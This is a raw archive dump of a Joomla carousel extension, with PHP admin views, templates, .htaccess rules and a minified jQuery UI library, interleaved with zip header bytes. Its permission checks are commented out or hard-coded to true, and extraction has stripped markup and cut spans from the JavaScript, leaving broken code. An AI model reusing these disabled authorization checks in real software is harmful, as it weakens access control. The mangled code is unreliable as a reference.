JToolBarHelper::cancel('item.cancel', 'JTOOLBAR_CANCEL'); } else { // Can't save the record if it's checked out. if (!$checkedOut) { // Since it's an existing record, check the edit permission, or fall back to edit own if the owner. //if ($canDo->get('core.edit') || ($canDo->get('core.edit.own') && $this->item->created_by == $userId)) { JToolBarHelper::apply('item.apply', 'JTOOLBAR_APPLY'); JToolBarHelper::save('item.save', 'JTOOLBAR_SAVE'); // We can save this record, but check the create permission to see if we can return to make a new one. //if ($canDo->get('core.create')) { //JToolBarHelper::custom('contact.save2new', 'save-new.png', 'save-new_f2.png', 'JTOOLBAR_SAVE_AND_NEW', false); //} //} } // If checked out, we can still save //if ($canDo->get('core.create')) { JToolBarHelper::custom('item.save2copy', 'save-copy.png', 'save-copy_f2.png', 'JTOOLBAR_SAVE_AS_COPY', false); //} JToolBarHelper::cancel('item.cancel', 'JTOOLBAR_CLOSE'); } } /** * display function * */ public function display($tpl = null) { // Initialiase variables. $this->form = $this->get('Form'); $this->item = $this->get('Item'); $this->state = $this->get('State'); if(!empty($this->item->id)) $this->isEmpty = false; $arrParams = $this->item->get("params"); $this->params = new JRegistry(); $this->params->loadArray($arrParams); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; } $this->setImage(); $this->addToolbar(); parent::display($tpl); } } PKs>\)com_unitehcarousel/views/items/index.htmlnuW+APKs>\{H,com_unitehcarousel/views/items/view.html.phpnuW+Aitems = $this->get('Items'); $this->pagination = $this->get('Pagination'); $this->state = $this->get('State'); $this->arrSliders = $this->get("ArrSliders"); $this->sliderID = $this->get("SliderID"); $this->linkSliderSettings = HelperUniteHCar::getViewUrl_Slider($this->sliderID); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; } $this->addToolbar(); parent::display($tpl); } protected function addToolbar() { //$sliderTitle = $this->arrSliders[$this->sliderID]["title"]; $arrSlider = HelperUniteHCar::getSlider($this->sliderID); $sliderTitle = $arrSlider["title"]; $title = JText::_('COM_UNITEHCAROUSEL'). " - ".$sliderTitle." - "; $title .= "[".JText::_('COM_UNITEHCAROUSEL_SLIDES')."]"; JToolBarHelper::title($title, 'generic.png'); $numSliders = count($this->arrSliders); if($numSliders > 0){ JToolBarHelper::addNew('items.add','JTOOLBAR_NEW'); JToolBarHelper::deleteList('', 'items.delete','JTOOLBAR_DELETE'); JToolBarHelper::divider(); JToolBarHelper::custom('items.publish', 'publish.png', 'publish_f2.png','JTOOLBAR_PUBLISH', true); JToolBarHelper::custom('items.unpublish', 'unpublish.png', 'unpublish_f2.png', 'JTOOLBAR_UNPUBLISH', true); JToolBarHelper::divider(); JToolBarHelper::cancel('slider.cancel', 'JTOOLBAR_CLOSE'); //JToolBarHelper::divider(); //JToolBarHelper::preferences('com_unitehcarousel', 300, 600); } } }PKs>\k''5com_unitehcarousel/views/items/tmpl/default_slide.phpnuW+Aget('id'); $listOrder = $this->state->get('list.ordering'); $listDirn = $this->state->get('list.direction'); $canOrder = true; //$user->authorise('core.edit.state', 'com_contact.category'); $saveOrder = $listOrder == 'a.ordering'; ?>
linkSliderSettings)):?>
items); foreach ($this->items as $i => $item) : $ordering = ($listOrder == 'a.ordering'); $canCreate = true; //$user->authorise('core.create', 'com_contact.category.'.$item->catid); $canEdit = true; //$user->authorise('core.edit', 'com_contact.category.'.$item->catid); $canCheckin = true; //$user->authorise('core.manage', 'com_checkin') || $item->checked_out == $userId || $item->checked_out == 0; $canEditOwn = true; //$user->authorise('core.edit.own', 'com_contact.category.'.$item->catid) && $item->created_by == $userId; $canChange = true; //$user->authorise('core.edit.state', 'com_contact.category.'.$item->catid) && $canCheckin; //get params $params = new JRegistry(); $params->loadString($item->params, "json"); $urlRoot = JURI::root(); //get image url's: $image = $params->get("image"); $thumbUrl = UniteFunctionJoomlaHCar::getImageOutputUrl($image,200,100,true); $imageUrl = $urlRoot.$image; $img_file = pathinfo($imageUrl,PATHINFO_BASENAME); $itemTitle = $item->title." ($img_file)"; ?>
pagination->getListFooter(); ?>
id); ?> checked_out) : ?> editor, $item->checked_out_time, 'items.', $canCheckin); ?> escape($itemTitle); ?> escape($itemTitle); ?>

escape($item->alias));?>

slide image slider_name; ?> published, $i, 'items.', true, 'cb' ); ?> pagination->orderUpIcon($i, ($item->catid == @$this->items[$i-1]->catid),'items.orderup', 'JLIB_HTML_MOVE_UP', $ordering); ?> pagination->orderDownIcon($i, $n, ($item->catid == @$this->items[$i+1]->catid), 'items.orderdown', 'JLIB_HTML_MOVE_DOWN', $ordering); ?> pagination->orderUpIcon($i, ($item->catid == @$this->items[$i-1]->catid),'items.orderdown', 'JLIB_HTML_MOVE_UP', $ordering); ?> pagination->orderDownIcon($i, $n, ($item->catid == @$this->items[$i+1]->catid), 'items.orderup', 'JLIB_HTML_MOVE_DOWN', $ordering); ?> class="text-area-order" /> ordering; ?> id; ?>
PKs>\.com_unitehcarousel/views/items/tmpl/index.htmlnuW+APKs>\)-com_unitehcarousel/views/items/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\ ˳::/com_unitehcarousel/views/items/tmpl/default.phpnuW+A arrSliders); if($numSliders == 0){ //error output ?>

Please add some slider before operating slides

loadTemplate("slide"); HelperUniteHCar::includeView("sliders/tmpl/footer.php"); ?> PKs>\)(com_unitehcarousel/views/items/.htaccessnuW+A Order allow,deny Deny from all PKs>\K com_unitehcarousel/config.xmlnuW+A
PKs>\com_unitehcarousel/index.htmlnuW+APKs>\})ii!com_unitehcarousel/controller.phpnuW+AoutputCss(); exit(); } /** * * default display function */ public function display($cachable = false, $urlparams = false){ echo "nothing here"; exit(); } }PKs>\'nGG%com_unitehcarousel/unitehcarousel.phpnuW+Aexecute($task); $controller->redirect(); ?>PKs>\rr*com_unitehcarousel/assets/jquery-ui.min.jsnuW+A/*! * jQuery UI 1.8.18 * * Copyright 2011, AUTHORS.txt (http://jqueryui.com/about) * Dual licensed under the MIT or GPL Version 2 licenses. * http://jquery.org/license * * http://docs.jquery.com/UI */(function(a,b){function d(b){return!a(b).parents().andSelf().filter(function(){return a.curCSS(this,"visibility")==="hidden"||a.expr.filters.hidden(this)}).length}function c(b,c){var e=b.nodeName.toLowerCase();if("area"===e){var f=b.parentNode,g=f.name,h;if(!b.href||!g||f.nodeName.toLowerCase()!=="map")return!1;h=a("img[usemap=#"+g+"]")[0];return!!h&&d(h)}return(/input|select|textarea|button|object/.test(e)?!b.disabled:"a"==e?b.href||c:c)&&d(b)}a.ui=a.ui||{};a.ui.version||(a.extend(a.ui,{version:"1.8.18",keyCode:{ALT:18,BACKSPACE:8,CAPS_LOCK:20,COMMA:188,COMMAND:91,COMMAND_LEFT:91,COMMAND_RIGHT:93,CONTROL:17,DELETE:46,DOWN:40,END:35,ENTER:13,ESCAPE:27,HOME:36,INSERT:45,LEFT:37,MENU:93,NUMPAD_ADD:107,NUMPAD_DECIMAL:110,NUMPAD_DIVIDE:111,NUMPAD_ENTER:108,NUMPAD_MULTIPLY:106,NUMPAD_SUBTRACT:109,PAGE_DOWN:34,PAGE_UP:33,PERIOD:190,RIGHT:39,SHIFT:16,SPACE:32,TAB:9,UP:38,WINDOWS:91}}),a.fn.extend({propAttr:a.fn.prop||a.fn.attr,_focus:a.fn.focus,focus:function(b,c){return typeof b=="number"?this.each(function(){var d=this;setTimeout(function(){a(d).focus(),c&&c.call(d)},b)}):this._focus.apply(this,arguments)},scrollParent:function(){var b;a.browser.msie&&/(static|relative)/.test(this.css("position"))||/absolute/.test(this.css("position"))?b=this.parents().filter(function(){return/(relative|absolute|fixed)/.test(a.curCSS(this,"position",1))&&/(auto|scroll)/.test(a.curCSS(this,"overflow",1)+a.curCSS(this,"overflow-y",1)+a.curCSS(this,"overflow-x",1))}).eq(0):b=this.parents().filter(function(){return/(auto|scroll)/.test(a.curCSS(this,"overflow",1)+a.curCSS(this,"overflow-y",1)+a.curCSS(this,"overflow-x",1))}).eq(0);return/fixed/.test(this.css("position"))||!b.length?a(document):b},zIndex:function(c){if(c!==b)return this.css("zIndex",c);if(this.length){var d=a(this[0]),e,f;while(d.length&&d[0]!==document){e=d.css("position");if(e==="absolute"||e==="relative"||e==="fixed"){f=parseInt(d.css("zIndex"),10);if(!isNaN(f)&&f!==0)return f}d=d.parent()}}return 0},disableSelection:function(){return this.bind((a.support.selectstart?"selectstart":"mousedown")+".ui-disableSelection",function(a){a.preventDefault()})},enableSelection:function(){return this.unbind(".ui-disableSelection")}}),a.each(["Width","Height"],function(c,d){function h(b,c,d,f){a.each(e,function(){c-=parseFloat(a.curCSS(b,"padding"+this,!0))||0,d&&(c-=parseFloat(a.curCSS(b,"border"+this+"Width",!0))||0),f&&(c-=parseFloat(a.curCSS(b,"margin"+this,!0))||0)});return c}var e=d==="Width"?["Left","Right"]:["Top","Bottom"],f=d.toLowerCase(),g={innerWidth:a.fn.innerWidth,innerHeight:a.fn.innerHeight,outerWidth:a.fn.outerWidth,outerHeight:a.fn.outerHeight};a.fn["inner"+d]=function(c){if(c===b)return g["inner"+d].call(this);return this.each(function(){a(this).css(f,h(this,c)+"px")})},a.fn["outer"+d]=function(b,c){if(typeof b!="number")return g["outer"+d].call(this,b);return this.each(function(){a(this).css(f,h(this,b,!0,c)+"px")})}}),a.extend(a.expr[":"],{data:function(b,c,d){return!!a.data(b,d[3])},focusable:function(b){return c(b,!isNaN(a.attr(b,"tabindex")))},tabbable:function(b){var d=a.attr(b,"tabindex"),e=isNaN(d);return(e||d>=0)&&c(b,!e)}}),a(function(){var b=document.body,c=b.appendChild(c=document.createElement("div"));c.offsetHeight,a.extend(c.style,{minHeight:"100px",height:"auto",padding:0,borderWidth:0}),a.support.minHeight=c.offsetHeight===100,a.support.selectstart="onselectstart"in c,b.removeChild(c).style.display="none"}),a.extend(a.ui,{plugin:{add:function(b,c,d){var e=a.ui[b].prototype;for(var f in d)e.plugins[f]=e.plugins[f]||[],e.plugins[f].push([c,d[f]])},call:function(a,b,c){var d=a.plugins[b];if(!!d&&!!a.element[0].parentNode)for(var e=0;e0)return!0;b[d]=1,e=b[d]>0,b[d]=0;return e},isOverAxis:function(a,b,c){return a>b&&a=9)&&!b.button)return this._mouseUp(b);if(this._mouseStarted){this._mouseDrag(b);return b.preventDefault()}this._mouseDistanceMet(b)&&this._mouseDelayMet(b)&&(this._mouseStarted=this._mouseStart(this._mouseDownEvent,b)!==!1,this._mouseStarted?this._mouseDrag(b):this._mouseUp(b));return!this._mouseStarted},_mouseUp:function(b){a(document).unbind("mousemove."+this.widgetName,this._mouseMoveDelegate).unbind("mouseup."+this.widgetName,this._mouseUpDelegate),this._mouseStarted&&(this._mouseStarted=!1,b.target==this._mouseDownEvent.target&&a.data(b.target,this.widgetName+".preventClickEvent",!0),this._mouseStop(b));return!1},_mouseDistanceMet:function(a){return Math.max(Math.abs(this._mouseDownEvent.pageX-a.pageX),Math.abs(this._mouseDownEvent.pageY-a.pageY))>=this.options.distance},_mouseDelayMet:function(a){return this.mouseDelayMet},_mouseStart:function(a){},_mouseDrag:function(a){},_mouseStop:function(a){},_mouseCapture:function(a){return!0}})}(jQuery),function(a,b){a.widget("ui.draggable",a.ui.mouse,{widgetEventPrefix:"drag",options:{addClasses:!0,appendTo:"parent",axis:!1,connectToSortable:!1,containment:!1,cursor:"auto",cursorAt:!1,grid:!1,handle:!1,helper:"original",iframeFix:!1,opacity:!1,refreshPositions:!1,revert:!1,revertDuration:500,scope:"default",scroll:!0,scrollSensitivity:20,scrollSpeed:20,snap:!1,snapMode:"both",snapTolerance:20,stack:!1,zIndex:!1},_create:function(){this.options.helper=="original"&&!/^(?:r|a|f)/.test(this.element.css("position"))&&(this.element[0].style.position="relative"),this.options.addClasses&&this.element.addClass("ui-draggable"),this.options.disabled&&this.element.addClass("ui-draggable-disabled"),this._mouseInit()},destroy:function(){if(!!this.element.data("draggable")){this.element.removeData("draggable").unbind(".draggable").removeClass("ui-draggable ui-draggable-dragging ui-draggable-disabled"),this._mouseDestroy();return this}},_mouseCapture:function(b){var c=this.options;if(this.helper||c.disabled||a(b.target).is(".ui-resizable-handle"))return!1;this.handle=this._getHandle(b);if(!this.handle)return!1;c.iframeFix&&a(c.iframeFix===!0?"iframe":c.iframeFix).each(function(){a('
').css({width:this.offsetWidth+"px",height:this.offsetHeight+"px",position:"absolute",opacity:"0.001",zIndex:1e3}).css(a(this).offset()).appendTo("body")});return!0},_mouseStart:function(b){var c=this.options;this.helper=this._createHelper(b),this._cacheHelperProportions(),a.ui.ddmanager&&(a.ui.ddmanager.current=this),this._cacheMargins(),this.cssPosition=this.helper.css("position"),this.scrollParent=this.helper.scrollParent(),this.offset=this.positionAbs=this.element.offset(),this.offset={top:this.offset.top-this.margins.top,left:this.offset.left-this.margins.left},a.extend(this.offset,{click:{left:b.pageX-this.offset.left,top:b.pageY-this.offset.top},parent:this._getParentOffset(),relative:this._getRelativeOffset()}),this.originalPosition=this.position=this._generatePosition(b),this.originalPageX=b.pageX,this.originalPageY=b.pageY,c.cursorAt&&this._adjustOffsetFromHelper(c.cursorAt),c.containment&&this._setContainment();if(this._trigger("start",b)===!1){this._clear();return!1}this._cacheHelperProportions(),a.ui.ddmanager&&!c.dropBehaviour&&a.ui.ddmanager.prepareOffsets(this,b),this.helper.addClass("ui-draggable-dragging"),this._mouseDrag(b,!0),a.ui.ddmanager&&a.ui.ddmanager.dragStart(this,b);return!0},_mouseDrag:function(b,c){this.position=this._generatePosition(b),this.positionAbs=this._convertPositionTo("absolute");if(!c){var d=this._uiHash();if(this._trigger("drag",b,d)===!1){this._mouseUp({});return!1}this.position=d.position}if(!this.options.axis||this.options.axis!="y")this.helper[0].style.left=this.position.left+"px";if(!this.options.axis||this.options.axis!="x")this.helper[0].style.top=this.position.top+"px";a.ui.ddmanager&&a.ui.ddmanager.drag(this,b);return!1},_mouseStop:function(b){var c=!1;a.ui.ddmanager&&!this.options.dropBehaviour&&(c=a.ui.ddmanager.drop(this,b)),this.dropped&&(c=this.dropped,this.dropped=!1);if((!this.element[0]||!this.element[0].parentNode)&&this.options.helper=="original")return!1;if(this.options.revert=="invalid"&&!c||this.options.revert=="valid"&&c||this.options.revert===!0||a.isFunction(this.options.revert)&&this.options.revert.call(this.element,c)){var d=this;a(this.helper).animate(this.originalPosition,parseInt(this.options.revertDuration,10),function(){d._trigger("stop",b)!==!1&&d._clear()})}else this._trigger("stop",b)!==!1&&this._clear();return!1},_mouseUp:function(b){this.options.iframeFix===!0&&a("div.ui-draggable-iframeFix").each(function(){this.parentNode.removeChild(this)}),a.ui.ddmanager&&a.ui.ddmanager.dragStop(this,b);return a.ui.mouse.prototype._mouseUp.call(this,b)},cancel:function(){this.helper.is(".ui-draggable-dragging")?this._mouseUp({}):this._clear();return this},_getHandle:function(b){var c=!this.options.handle||!a(this.options.handle,this.element).length?!0:!1;a(this.options.handle,this.element).find("*").andSelf().each(function(){this==b.target&&(c=!0)});return c},_createHelper:function(b){var c=this.options,d=a.isFunction(c.helper)?a(c.helper.apply(this.element[0],[b])):c.helper=="clone"?this.element.clone().removeAttr("id"):this.element;d.parents("body").length||d.appendTo(c.appendTo=="parent"?this.element[0].parentNode:c.appendTo),d[0]!=this.element[0]&&!/(fixed|absolute)/.test(d.css("position"))&&d.css("position","absolute");return d},_adjustOffsetFromHelper:function(b){typeof b=="string"&&(b=b.split(" ")),a.isArray(b)&&(b={left:+b[0],top:+b[1]||0}),"left"in b&&(this.offset.click.left=b.left+this.margins.left),"right"in b&&(this.offset.click.left=this.helperProportions.width-b.right+this.margins.left),"top"in b&&(this.offset.click.top=b.top+this.margins.top),"bottom"in b&&(this.offset.click.top=this.helperProportions.height-b.bottom+this.margins.top)},_getParentOffset:function(){this.offsetParent=this.helper.offsetParent();var b=this.offsetParent.offset();this.cssPosition=="absolute"&&this.scrollParent[0]!=document&&a.ui.contains(this.scrollParent[0],this.offsetParent[0])&&(b.left+=this.scrollParent.scrollLeft(),b.top+=this.scrollParent.scrollTop());if(this.offsetParent[0]==document.body||this.offsetParent[0].tagName&&this.offsetParent[0].tagName.toLowerCase()=="html"&&a.browser.msie)b={top:0,left:0};return{top:b.top+(parseInt(this.offsetParent.css("borderTopWidth"),10)||0),left:b.left+(parseInt(this.offsetParent.css("borderLeftWidth"),10)||0)}},_getRelativeOffset:function(){if(this.cssPosition=="relative"){var a=this.element.position();return{top:a.top-(parseInt(this.helper.css("top"),10)||0)+this.scrollParent.scrollTop(),left:a.left-(parseInt(this.helper.css("left"),10)||0)+this.scrollParent.scrollLeft()}}return{top:0,left:0}},_cacheMargins:function(){this.margins={left:parseInt(this.element.css("marginLeft"),10)||0,top:parseInt(this.element.css("marginTop"),10)||0,right:parseInt(this.element.css("marginRight"),10)||0,bottom:parseInt(this.element.css("marginBottom"),10)||0}},_cacheHelperProportions:function(){this.helperProportions={width:this.helper.outerWidth(),height:this.helper.outerHeight()}},_setContainment:function(){var b=this.options;b.containment=="parent"&&(b.containment=this.helper[0].parentNode);if(b.containment=="document"||b.containment=="window")this.containment=[b.containment=="document"?0:a(window).scrollLeft()-this.offset.relative.left-this.offset.parent.left,b.containment=="document"?0:a(window).scrollTop()-this.offset.relative.top-this.offset.parent.top,(b.containment=="document"?0:a(window).scrollLeft())+a(b.containment=="document"?document:window).width()-this.helperProportions.width-this.margins.left,(b.containment=="document"?0:a(window).scrollTop())+(a(b.containment=="document"?document:window).height()||document.body.parentNode.scrollHeight)-this.helperProportions.height-this.margins.top];if(!/^(document|window|parent)$/.test(b.containment)&&b.containment.constructor!=Array){var c=a(b.containment),d=c[0];if(!d)return;var e=c.offset(),f=a(d).css("overflow")!="hidden";this.containment=[(parseInt(a(d).css("borderLeftWidth"),10)||0)+(parseInt(a(d).css("paddingLeft"),10)||0),(parseInt(a(d).css("borderTopWidth"),10)||0)+(parseInt(a(d).css("paddingTop"),10)||0),(f?Math.max(d.scrollWidth,d.offsetWidth):d.offsetWidth)-(parseInt(a(d).css("borderLeftWidth"),10)||0)-(parseInt(a(d).css("paddingRight"),10)||0)-this.helperProportions.width-this.margins.left-this.margins.right,(f?Math.max(d.scrollHeight,d.offsetHeight):d.offsetHeight)-(parseInt(a(d).css("borderTopWidth"),10)||0)-(parseInt(a(d).css("paddingBottom"),10)||0)-this.helperProportions.height-this.margins.top-this.margins.bottom],this.relative_container=c}else b.containment.constructor==Array&&(this.containment=b.containment)},_convertPositionTo:function(b,c){c||(c=this.position);var d=b=="absolute"?1:-1,e=this.options,f=this.cssPosition=="absolute"&&(this.scrollParent[0]==document||!a.ui.contains(this.scrollParent[0],this.offsetParent[0]))?this.offsetParent:this.scrollParent,g=/(html|body)/i.test(f[0].tagName);return{top:c.top+this.offset.relative.top*d+this.offset.parent.top*d-(a.browser.safari&&a.browser.version<526&&this.cssPosition=="fixed"?0:(this.cssPosition=="fixed"?-this.scrollParent.scrollTop():g?0:f.scrollTop())*d),left:c.left+this.offset.relative.left*d+this.offset.parent.left*d-(a.browser.safari&&a.browser.version<526&&this.cssPosition=="fixed"?0:(this.cssPosition=="fixed"?-this.scrollParent.scrollLeft():g?0:f.scrollLeft())*d)}},_generatePosition:function(b){var c=this.options,d=this.cssPosition=="absolute"&&(this.scrollParent[0]==document||!a.ui.contains(this.scrollParent[0],this.offsetParent[0]))?this.offsetParent:this.scrollParent,e=/(html|body)/i.test(d[0].tagName),f=b.pageX,g=b.pageY;if(this.originalPosition){var h;if(this.containment){if(this.relative_container){var i=this.relative_container.offset();h=[this.containment[0]+i.left,this.containment[1]+i.top,this.containment[2]+i.left,this.containment[3]+i.top]}else h=this.containment;b.pageX-this.offset.click.lefth[2]&&(f=h[2]+this.offset.click.left),b.pageY-this.offset.click.top>h[3]&&(g=h[3]+this.offset.click.top)}if(c.grid){var j=c.grid[1]?this.originalPageY+Math.round((g-this.originalPageY)/c.grid[1])*c.grid[1]:this.originalPageY;g=h?j-this.offset.click.toph[3]?j-this.offset.click.toph[2]?k-this.offset.click.left=0;k--){var l=d.snapElements[k].left,m=l+d.snapElements[k].width,n=d.snapElements[k].top,o=n+d.snapElements[k].height;if(!(l-f=k&&g<=l||h>=k&&h<=l||gl)&&(e>=i&&e<=j||f>=i&&f<=j||ej);default:return!1}},a.ui.ddmanager={current:null,droppables:{"default":[]},prepareOffsets:function(b,c){var d=a.ui.ddmanager.droppables[b.options.scope]||[],e=c?c.type:null,f=(b.currentItem||b.element).find(":data(droppable)").andSelf();droppablesLoop:for(var g=0;g').css({position:this.element.css("position"),width:this.element.outerWidth(),height:this.element.outerHeight(),top:this.element.css("top"),left:this.element.css("left")})),this.element=this.element.parent().data("resizable",this.element.data("resizable")),this.elementIsWrapper=!0,this.element.css({marginLeft:this.originalElement.css("marginLeft"),marginTop:this.originalElement.css("marginTop"),marginRight:this.originalElement.css("marginRight"),marginBottom:this.originalElement.css("marginBottom")}),this.originalElement.css({marginLeft:0,marginTop:0,marginRight:0,marginBottom:0}),this.originalResizeStyle=this.originalElement.css("resize"),this.originalElement.css("resize","none"),this._proportionallyResizeElements.push(this.originalElement.css({position:"static",zoom:1,display:"block"})),this.originalElement.css({margin:this.originalElement.css("margin")}),this._proportionallyResize()),this.handles=c.handles||(a(".ui-resizable-handle",this.element).length?{n:".ui-resizable-n",e:".ui-resizable-e",s:".ui-resizable-s",w:".ui-resizable-w",se:".ui-resizable-se",sw:".ui-resizable-sw",ne:".ui-resizable-ne",nw:".ui-resizable-nw"}:"e,s,se");if(this.handles.constructor==String){this.handles=="all"&&(this.handles="n,e,s,w,se,sw,ne,nw");var d=this.handles.split(",");this.handles={};for(var e=0;e');/sw|se|ne|nw/.test(f)&&h.css({zIndex:++c.zIndex}),"se"==f&&h.addClass("ui-icon ui-icon-gripsmall-diagonal-se"),this.handles[f]=".ui-resizable-"+f,this.element.append(h)}}this._renderAxis=function(b){b=b||this.element;for(var c in this.handles){this.handles[c].constructor==String&&(this.handles[c]=a(this.handles[c],this.element).show());if(this.elementIsWrapper&&this.originalElement[0].nodeName.match(/textarea|input|select|button/i)){var d=a(this.handles[c],this.element),e=0;e=/sw|ne|nw|se|n|s/.test(c)?d.outerHeight():d.outerWidth();var f=["padding",/ne|nw|n/.test(c)?"Top":/se|sw|s/.test(c)?"Bottom":/^e$/.test(c)?"Right":"Left"].join("");b.css(f,e),this._proportionallyResize()}if(!a(this.handles[c]).length)continue}},this._renderAxis(this.element),this._handles=a(".ui-resizable-handle",this.element).disableSelection(),this._handles.mouseover(function(){if(!b.resizing){if(this.className)var a=this.className.match(/ui-resizable-(se|sw|ne|nw|n|e|s|w)/i);b.axis=a&&a[1]?a[1]:"se"}}),c.autoHide&&(this._handles.hide(),a(this.element).addClass("ui-resizable-autohide").hover(function(){c.disabled||(a(this).removeClass("ui-resizable-autohide"),b._handles.show())},function(){c.disabled||b.resizing||(a(this).addClass("ui-resizable-autohide"),b._handles.hide())})),this._mouseInit()},destroy:function(){this._mouseDestroy();var b=function(b){a(b).removeClass("ui-resizable ui-resizable-disabled ui-resizable-resizing").removeData("resizable").unbind(".resizable").find(".ui-resizable-handle").remove()};if(this.elementIsWrapper){b(this.element);var c=this.element;c.after(this.originalElement.css({position:c.css("position"),width:c.outerWidth(),height:c.outerHeight(),top:c.css("top"),left:c.css("left")})).remove()}this.originalElement.css("resize",this.originalResizeStyle),b(this.originalElement);return this},_mouseCapture:function(b){var c=!1;for(var d in this.handles)a(this.handles[d])[0]==b.target&&(c=!0);return!this.options.disabled&&c},_mouseStart:function(b){var d=this.options,e=this.element.position(),f=this.element;this.resizing=!0,this.documentScroll={top:a(document).scrollTop(),left:a(document).scrollLeft()},(f.is(".ui-draggable")||/absolute/.test(f.css("position")))&&f.css({position:"absolute",top:e.top,left:e.left}),this._renderProxy();var g=c(this.helper.css("left")),h=c(this.helper.css("top"));d.containment&&(g+=a(d.containment).scrollLeft()||0,h+=a(d.containment).scrollTop()||0),this.offset=this.helper.offset(),this.position={left:g,top:h},this.size=this._helper?{width:f.outerWidth(),height:f.outerHeight()}:{width:f.width(),height:f.height()},this.originalSize=this._helper?{width:f.outerWidth(),height:f.outerHeight()}:{width:f.width(),height:f.height()},this.originalPosition={left:g,top:h},this.sizeDiff={width:f.outerWidth()-f.width(),height:f.outerHeight()-f.height()},this.originalMousePosition={left:b.pageX,top:b.pageY},this.aspectRatio=typeof d.aspectRatio=="number"?d.aspectRatio:this.originalSize.width/this.originalSize.height||1;var i=a(".ui-resizable-"+this.axis).css("cursor");a("body").css("cursor",i=="auto"?this.axis+"-resize":i),f.addClass("ui-resizable-resizing"),this._propagate("start",b);return!0},_mouseDrag:function(b){var c=this.helper,d=this.options,e={},f=this,g=this.originalMousePosition,h=this.axis,i=b.pageX-g.left||0,j=b.pageY-g.top||0,k=this._change[h];if(!k)return!1;var l=k.apply(this,[b,i,j]),m=a.browser.msie&&a.browser.version<7,n=this.sizeDiff;this._updateVirtualBoundaries(b.shiftKey);if(this._aspectRatio||b.shiftKey)l=this._updateRatio(l,b);l=this._respectSize(l,b),this._propagate("resize",b),c.css({top:this.position.top+"px",left:this.position.left+"px",width:this.size.width+"px",height:this.size.height+"px"}),!this._helper&&this._proportionallyResizeElements.length&&this._proportionallyResize(),this._updateCache(l),this._trigger("resize",b,this.ui());return!1},_mouseStop:function(b){this.resizing=!1;var c=this.options,d=this;if(this._helper){var e=this._proportionallyResizeElements,f=e.length&&/textarea/i.test(e[0].nodeName),g=f&&a.ui.hasScroll(e[0],"left")?0:d.sizeDiff.height,h=f?0:d.sizeDiff.width,i={width:d.helper.width()-h,height:d.helper.height()-g},j=parseInt(d.element.css("left"),10)+(d.position.left-d.originalPosition.left)||null,k=parseInt(d.element.css("top"),10)+(d.position.top-d.originalPosition.top)||null;c.animate||this.element.css(a.extend(i,{top:k,left:j})),d.helper.height(d.size.height),d.helper.width(d.size.width),this._helper&&!c.animate&&this._proportionallyResize()}a("body").css("cursor","auto"),this.element.removeClass("ui-resizable-resizing"),this._propagate("stop",b),this._helper&&this.helper.remove();return!1},_updateVirtualBoundaries:function(a){var b=this.options,c,e,f,g,h;h={minWidth:d(b.minWidth)?b.minWidth:0,maxWidth:d(b.maxWidth)?b.maxWidth:Infinity,minHeight:d(b.minHeight)?b.minHeight:0,maxHeight:d(b.maxHeight)?b.maxHeight:Infinity};if(this._aspectRatio||a)c=h.minHeight*this.aspectRatio,f=h.minWidth/this.aspectRatio,e=h.maxHeight*this.aspectRatio,g=h.maxWidth/this.aspectRatio,c>h.minWidth&&(h.minWidth=c),f>h.minHeight&&(h.minHeight=f),ea.width,k=d(a.height)&&e.minHeight&&e.minHeight>a.height;j&&(a.width=e.minWidth),k&&(a.height=e.minHeight),h&&(a.width=e.maxWidth),i&&(a.height=e.maxHeight);var l=this.originalPosition.left+this.originalSize.width,m=this.position.top+this.size.height,n=/sw|nw|w/.test(g),o=/nw|ne|n/.test(g);j&&n&&(a.left=l-e.minWidth),h&&n&&(a.left=l-e.maxWidth),k&&o&&(a.top=m-e.minHeight),i&&o&&(a.top=m-e.maxHeight);var p=!a.width&&!a.height;p&&!a.left&&a.top?a.top=null:p&&!a.top&&a.left&&(a.left=null);return a},_proportionallyResize:function(){var b=this.options;if(!!this._proportionallyResizeElements.length){var c=this.helper||this.element;for(var d=0;d');var d=a.browser.msie&&a.browser.version<7,e=d?1:0,f=d?2:-1;this.helper.addClass(this._helper).css({width:this.element.outerWidth()+f,height:this.element.outerHeight()+f,position:"absolute",left:this.elementOffset.left-e+"px",top:this.elementOffset.top-e+"px",zIndex:++c.zIndex}),this.helper.appendTo("body").disableSelection()}else this.helper=this.element},_change:{e:function(a,b,c){return{width:this.originalSize.width+b}},w:function(a,b,c){var d=this.options,e=this.originalSize,f=this.originalPosition;return{left:f.left+b,width:e.width-b}},n:function(a,b,c){var d=this.options,e=this.originalSize,f=this.originalPosition;return{top:f.top+c,height:e.height-c}},s:function(a,b,c){return{height:this.originalSize.height+c}},se:function(b,c,d){return a.extend(this._change.s.apply(this,arguments),this._change.e.apply(this,[b,c,d]))},sw:function(b,c,d){return a.extend(this._change.s.apply(this,arguments),this._change.w.apply(this,[b,c,d]))},ne:function(b,c,d){return a.extend(this._change.n.apply(this,arguments),this._change.e.apply(this,[b,c,d]))},nw:function(b,c,d){return a.extend(this._change.n.apply(this,arguments),this._change.w.apply(this,[b,c,d]))}},_propagate:function(b,c){a.ui.plugin.call(this,b,[c,this.ui()]),b!="resize"&&this._trigger(b,c,this.ui())},plugins:{},ui:function(){return{originalElement:this.originalElement,element:this.element,helper:this.helper,position:this.position,size:this.size,originalSize:this.originalSize,originalPosition:this.originalPosition}}}),a.extend(a.ui.resizable,{version:"1.8.18"}),a.ui.plugin.add("resizable","alsoResize",{start:function(b,c){var d=a(this).data("resizable"),e=d.options,f=function(b){a(b).each(function(){var b=a(this);b.data("resizable-alsoresize",{width:parseInt(b.width(),10),height:parseInt(b.height(),10),left:parseInt(b.css("left"),10),top:parseInt(b.css("top"),10)})})};typeof e.alsoResize=="object"&&!e.alsoResize.parentNode?e.alsoResize.length?(e.alsoResize=e.alsoResize[0],f(e.alsoResize)):a.each(e.alsoResize,function(a){f(a)}):f(e.alsoResize)},resize:function(b,c){var d=a(this).data("resizable"),e=d.options,f=d.originalSize,g=d.originalPosition,h={height:d.size.height-f.height||0,width:d.size.width-f.width||0,top:d.position.top-g.top||0,left:d.position.left-g.left||0},i=function(b,d){a(b).each(function(){var b=a(this),e=a(this).data("resizable-alsoresize"),f={},g=d&&d.length?d:b.parents(c.originalElement[0]).length?["width","height"]:["width","height","top","left"];a.each(g,function(a,b){var c=(e[b]||0)+(h[b]||0);c&&c>=0&&(f[b]=c||null)}),b.css(f)})};typeof 